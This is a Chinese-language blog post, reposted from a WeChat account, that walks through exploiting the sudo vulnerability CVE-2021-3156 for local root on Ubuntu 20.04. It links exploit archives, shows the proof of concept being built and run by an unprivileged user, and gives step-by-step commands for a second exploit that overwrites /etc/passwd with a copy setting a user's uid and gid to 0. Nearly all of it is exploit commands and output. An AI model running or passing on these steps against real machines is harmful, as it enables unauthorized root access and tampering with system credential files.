注:以下操作均在ubuntu20.04环境下演示,其他环境尚未测试
利用细节:
https://www.kalmarunionen.dk/writeups/sudo/
exp地址:
https://haxx.in/CVE-2021-3156_nss_poc_ubuntu.tar.gz
test@dz:~/CVE-2021-3156$ id
uid=1001(test) gid=1001(test) 组=1001(test)
test@dz:~/CVE-2021-3156$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 20.04.1 LTS
Release: 20.04
Codename: focal
test@dz:~/CVE-2021-3156$ uname -a
Linux dz 5.4.0-47-generic #51-Ubuntu SMP Fri Sep 4 19:50:52 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
test@dz:~/CVE-2021-3156$ sudo -V
Sudo 版本 1.8.31
Sudoers 策略插件版本 1.8.31
Sudoers 文件语法版本 46
Sudoers I/O plugin version 1.8.31
test@dz:~/CVE-2021-3156$ id
uid=1001(test) gid=1001(test) 组=1001(test)
test@dz:~/CVE-2021-3156$ make
rm -rf libnss_X
mkdir libnss_X
gcc -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
test@dz:~/CVE-2021-3156$ ls
CVE-2021-3156_nss_poc_ubuntu hax.c lib.c libnss_X Makefile sudo-hax-me-a-sandwich
test@dz:~/CVE-2021-3156$ ./sudo-hax-me-a-sandwich
exp地址:
https://github.com/stong/CVE-2021-3156
exp演示地址:
https://twitter.com/gf_256/status/1355354178588180481
注意:操作之前先备份/ect/passwd或者先做个镜像
git clone https://github.com/stong/CVE-2021-3156.git
cd CVE-2021-3156/
gcc ./expsploit.c
./a.out
cp /etc/passwd kanpasswd
gedit kanpasswd
#把用户id和组id换为0
./a.out /etc/passwd kanpasswd
cat /etc/passwd
su kanhayou2
本文分享自微信公众号 - 小白学IT(xiaobaixueIT)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。
来源:oschina
链接:https://my.oschina.net/u/4610683/blog/4940532